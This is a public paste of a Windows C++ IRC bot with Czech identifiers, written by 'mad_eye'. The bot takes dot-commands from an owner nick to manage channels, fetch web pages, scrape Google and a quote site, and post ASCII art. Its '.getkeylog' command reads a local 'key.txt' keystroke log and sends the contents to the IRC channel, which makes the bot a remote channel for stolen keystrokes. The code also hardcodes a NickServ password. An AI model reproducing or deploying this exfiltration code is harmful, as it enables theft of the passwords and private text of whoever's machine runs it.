All pastes #91490 Raw Edit

mad_eye

public cpp v1 · immutable
#91490 ·published 2006-07-18 17:43 UTC
rendered paste body
#include <iostream>#include <string>#include <unistd.h>#include <windows.h>#include <fstream>#define PUVODNI_MAJITEL "mad_eye"#define MSG_PREFIX1 "PRIVMSG " + channel + " :" + "\x03" + barv#define MSG_PREFIX "PRIVMSG " + channel + " :"using namespace std;string vysekni(string odkud, string zacatek, string konec){ int pivot1, pivot2; pivot1 = odkud.find(zacatek,0); pivot2 = odkud.find(konec,pivot1+1); if(pivot1 != string::npos) return odkud.substr(pivot1,pivot2 - pivot1); else return odkud;}void nahrad(string &odkud, string co, string cim){    int pivot;                  pivot = odkud.find(co,0);    while(pivot != string::npos)    {         odkud.replace(pivot, co.size(), cim);         pivot = odkud.find(co,0);    }}void smazradky(string &odkud){    int pivot;                  pivot = odkud.find("\n",0);    while(pivot != string::npos)    {         odkud[pivot] = ' ';         pivot = odkud.find("\n",0);    }    pivot = odkud.find("\r",0);    while(pivot != string::npos)    {         odkud[pivot] = ' ';         pivot = odkud.find("\r",0);    }}void smazradkyspec(string &odkud){    int pivot;                  pivot = odkud.find("\n",0);    while(pivot != string::npos)    {         odkud[pivot] = '@';         pivot = odkud.find("\n",0);    }    pivot = odkud.find("\r",0);    while(pivot != string::npos)    {         odkud[pivot] = ' ';         pivot = odkud.find("\r",0);    }}void smaztagy(string &odkud){    int pivot1, pivot2;           pivot1 = odkud.find("<",0);    pivot2 = odkud.find(">",pivot1);    while(pivot1 != string::npos)    {         odkud.erase(pivot1, pivot2 - pivot1 + 1);         pivot1 = odkud.find("<",0);         pivot2 = odkud.find(">",pivot1);    }}string posli(string co, string kam, string method){    WORD wVersionRequested = MAKEWORD(1,1);    WSADATA data;    string text, size, domena, cesta;    char buffer[4], buf[1000];    hostent *host;    sockaddr_in serverSock;    int mySocket;    int port = 80;    int pivot, velikost;    pivot = kam.find("/");    domena = kam.substr(0, pivot);     cesta = kam.substr(pivot, kam.size() - pivot);    if(method == "POST")    {         itoa(co.size(), buffer, 10);         size = buffer;         text = ("POST " + cesta + " HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: ") + domena + ("\nContent-Length: ") + size + ("\n\n") + co + ("\n\n\n\n");    }    else if(method == "GET")    {         if (co != "")text = ("GET " + cesta + "?" + co + " HTTP/1.1\nHost: ") + domena + ("\n\n\n\n");         else text = ("GET " + cesta + " HTTP/1.1\nHost: ") + domena + ("\n\n\n\n");    }    WSAStartup(wVersionRequested, &data);    host = gethostbyname(domena.c_str());    mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    serverSock.sin_family = AF_INET;    serverSock.sin_port = htons(port);    memcpy(&(serverSock.sin_addr), host->h_addr, host->h_length);    connect(mySocket, (sockaddr *)&serverSock, sizeof(serverSock));    send(mySocket, text.c_str(), text.size() + 1, 0);    text = "";    while ((velikost = (recv(mySocket, buf, 1000, 0)) != 0) && (velikost != -1))    {        text += buf;    }    if (velikost == -1) cout << "Smula" << endl;    closesocket(mySocket);    WSACleanup();    return text;}       int co_delat(int socket, char *buf, string &owner, string &jmeno, string &barv){	int	pozice=0;	int	s1, s2, size;    string	cmd("");	string	nick("");	string	data("");	string	buffer = buf;	string	channel("");	string	init("");			/* jednorazove */	s1	= buffer.find("!~");	nick	= buffer.substr(1,s1-1);	if( (pozice = buffer.find("NOTICE AUTH :*** Checking ")) != string::npos)	{        init = "user " + jmeno + " " + jmeno + " " + jmeno + " :" + jmeno + "\n" + "nick " + jmeno + "\n";		send(socket, init.c_str() , init.size(), 0);    }		if( (pozice = buffer.find("PING :")) != string::npos)	{		string	pom;		int	p1;		p1	= buffer.find(" :");		pom	= "PONG :" + buffer.substr(p1+2);		send(socket, pom.c_str(), pom.size(), 0);	}		if(buffer.find(" :.") != string::npos)	{		string	pom("");		s1	= buffer.find("PRIVMSG");		s2	= buffer.find(" ",s1);		s1	= buffer.find(" ",s2+1);		channel	= buffer.substr(s2+1,s1-s2-1);		if(channel == jmeno)channel = nick;		s1	= buffer.find(" :.");		if((s2 = buffer.find(" ", s1+1)) == string::npos)s2 = buffer.size()-2;		cmd	= buffer.substr(s1+2, s2-s1-2);		s1	= buffer.size();		data	= buffer.substr(s2+1, s1-s2-3);		if( cmd == ".resetmajitel" && nick == PUVODNI_MAJITEL)        {             owner = PUVODNI_MAJITEL;             pom = "PRIVMSG " + channel + " :muj majitel je nyni " + owner + "\n";		} 		else if( cmd == ".majiteli")pom = "PRIVMSG " + owner + " :" + data + "\n";        else if(nick == owner || owner == "vsichni"){	          if( cmd == ".op")pom = "MODE " + channel + " +o " + data + "\n";		  else if( cmd == ".deop")pom = "MODE " + channel + " -o " + data + "\n";		  else if( cmd == ".hop")pom = "MODE " + channel + " +h " + data + "\n";		  else if( cmd == ".dehop")pom = "MODE " + channel + " -h " + data + "\n";          else if( cmd == ".v")pom = "MODE " + channel + " +v " + data + "\n";		  else if( cmd == ".dev")pom = "MODE " + channel + " -v " + data + "\n";		  else if( cmd == ".vykopni")pom = "KICK " + channel + " " + data + " :Padej " + data + "\n";		  else if( cmd == ".rekni" )pom = MSG_PREFIX + data + "\n";		  else if( cmd == ".prijd")pom = "JOIN " + data + "\n";		  else if( cmd == ".poslinasoom")          {               posli(("nick=botolus&vzkaz=") + data, "www.soom.cz/discussion/send.php", "POST");               pom = MSG_PREFIX + "poslal jsem na soom diskuzi: " + data + "\n";		  }		  else if( cmd == ".get")          {               data = posli("", data, "GET");               smazradky(data);               nahrad(data, "&nbsp;", " ");               nahrad(data, "&#39;", "'");               nahrad(data, "<br>", "\nPRIVMSG " + channel + " :");               smaztagy(data);               pom = "PRIVMSG " + channel + " :ODPOVED: " + data + "\n";		  }		  else if( cmd == ".ascii" && data != "")		  {               int i;               string barva;               i = data.find(" ");               if(i != string::npos){                    barva = data.substr(i+1, data.size()-i-1);                    data = data.substr(0,i);               }else barva = "1";               char buffer[10000];               for(i=0;i<10000;i++)	           {		             buffer[i]='\0';	           }               data = ".\\" + data + ".asc";               ifstream in(data.c_str(), ios::ate);               if(!in)pom = MSG_PREFIX + "\x03" + "5 bohuzel, tento asciiart nebyl nalezen\n";               else               {                i = in.tellg();                if(i >= 10000)i = 9999;                in.seekg (0, ios::beg);                in.read(buffer, i);                in.close();                buffer[i+1]='\0';                data = buffer;                smazradkyspec(data);                nahrad(data, "@", "\nPRIVMSG " + channel + " :\x03" + barva);                pom = MSG_PREFIX + "\x03" + barva + data + "\n";               }		  }		  else if( cmd == ".getkeylog")		  {               int i;               char buffer[10000];               for(i=0;i<10000;i++)	           {		             buffer[i]='\0';	           }               data = ".\\key.txt";               ifstream in(data.c_str(), ios::ate);               if(!in)pom = MSG_PREFIX + "\x03" + "5 bohuzel, logfile nebyl nalezenn";               else               {                i = in.tellg();                if(i >= 10000)i = 9999;                in.seekg (0, ios::beg);                in.read(buffer, i);                in.close();                buffer[i+1]='\0';                data = buffer;                smazradky(data);                pom = MSG_PREFIX + data + "\n";               }		  }		  else if( cmd == ".google" && data != "")		  {               nahrad(data, "%20", "");               nahrad(data, " ", "%20");               data = posli(("hl=en&q=") + data, "www.google.com/search", "GET");               data = vysekni(data, "<p class=g>", "Cached");               smazradky(data);               nahrad(data, "&nbsp;", " ");               nahrad(data, "&#39;", "'");               nahrad(data, "<br>", "\nPRIVMSG " + channel + " :\x03" + "5");               smaztagy(data);               cout << data << endl;               pom = MSG_PREFIX + "\x03" + "3" + data + "\n";		  }		  else if( cmd == ".lamer" && data != "")		  {               nahrad(data, "%20", "");               nahrad(data, " ", "%20");               data = posli(("item=show&id=") + data, "www.lamer.cz/", "GET");               smazradky(data);               data = vysekni(data, "<div id=\"quotes\">", "</div>");               nahrad(data, "&nbsp;", " ");               nahrad(data, "&#39;", "'");               nahrad(data, "<br />", "\nPRIVMSG " + channel + " :\x03" + "2");               smaztagy(data);               nahrad(data, "&lt;", "<");               nahrad(data, "&gt;", ">");               cout << data << endl;               pom = MSG_PREFIX + "\x03" + "2" + data + "\n";		  }          else if( cmd == ".vypadni")pom = "PART " + channel + " \n";          else if( cmd == ".chcipni")pom = "QUIT Gasp. \n";		  else if( cmd == ".setmajitel")          {              owner = data;              pom = "PRIVMSG " + channel + " :muj majitel je nyni " + owner + "\n";          }		  else if( cmd == ".setbarva")          {              barv = data;              pom = MSG_PREFIX + "zmenil jsem barvu textu\n";          }          else if( cmd == ".reknis")pom = "PRIVMSG #soom :\x03" + barv + data + "\n";		  else if( cmd == ".setnick")          {               jmeno = data;               pom = "nick " + jmeno + "\n";          }		  else if( cmd == ".regnise")pom = "PRIVMSG nickserv :identify 123789\n";		  else if( cmd == ".predstav")pom = MSG_PREFIX + "Dobry den jsem bot patrici stvoriteli jmenem mad_eye\n";		  else if( cmd == ".cmd")		  {              if (nick == "mad_eye") pom = MSG_PREFIX + "spoustim " + data + "\n" ;              else pom = MSG_PREFIX + "Sorry, ale na tohle ses moc malej pan\n" ;		  }		  else pom = MSG_PREFIX + "Nerozumim prikazu \"" + cmd + "\"\n";		}else pom = MSG_PREFIX + "NE, posloucham jen majitele: " + owner + "\n";		send( socket, pom.c_str(), pom.size(), 0);	}	if(buffer.find(" :"+jmeno) != string::npos)	{		string	pom("");		s1	= buffer.find("PRIVMSG");		s2	= buffer.find(" ",s1);		s1	= buffer.find(" ",s2+1);		channel	= buffer.substr(s2+1,s1-s2-1);		pom = MSG_PREFIX + nick + ": neber jmeno bozi nadarmo\n";		send( socket, pom.c_str(), pom.size(), 0);    }}int main(int argc, char *argv[]){int		i;int		Socket_hlavni;hostent		*host;sockaddr_in	Socket_nastaveni;fd_set		mnozina;char		buffer[65536];string owner(PUVODNI_MAJITEL);string nick("botolus"),barva("1");WORD wVersionRequested = MAKEWORD(1,1);WSADATA data;if( argc < 3){	cout << "Syntaxe je :\n" << argv[0] << " <ip> <port>\n";	return -1;}WSAStartup(wVersionRequested, &data);host = gethostbyname(argv[1]);Socket_hlavni = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);Socket_nastaveni.sin_family = AF_INET;Socket_nastaveni.sin_port = htons(atoi(argv[2]));memcpy(&(Socket_nastaveni.sin_addr), host->h_addr, host->h_length);connect(Socket_hlavni, (sockaddr *)&Socket_nastaveni, sizeof(Socket_nastaveni));FD_ZERO( &mnozina);FD_SET( Socket_hlavni, &mnozina);while( (select(Socket_hlavni+1, &mnozina, NULL, NULL, NULL)) > 0){	for(i=0;i<65536;i++)	{		buffer[i]='\0';	}		if( (recv( Socket_hlavni, buffer, 65536, 0)) != 0)	{		cout << buffer;		co_delat( Socket_hlavni, buffer, owner, nick, barva);	}	else	{	return -1;	}}    closesocket(Socket_hlavni);    WSACleanup();}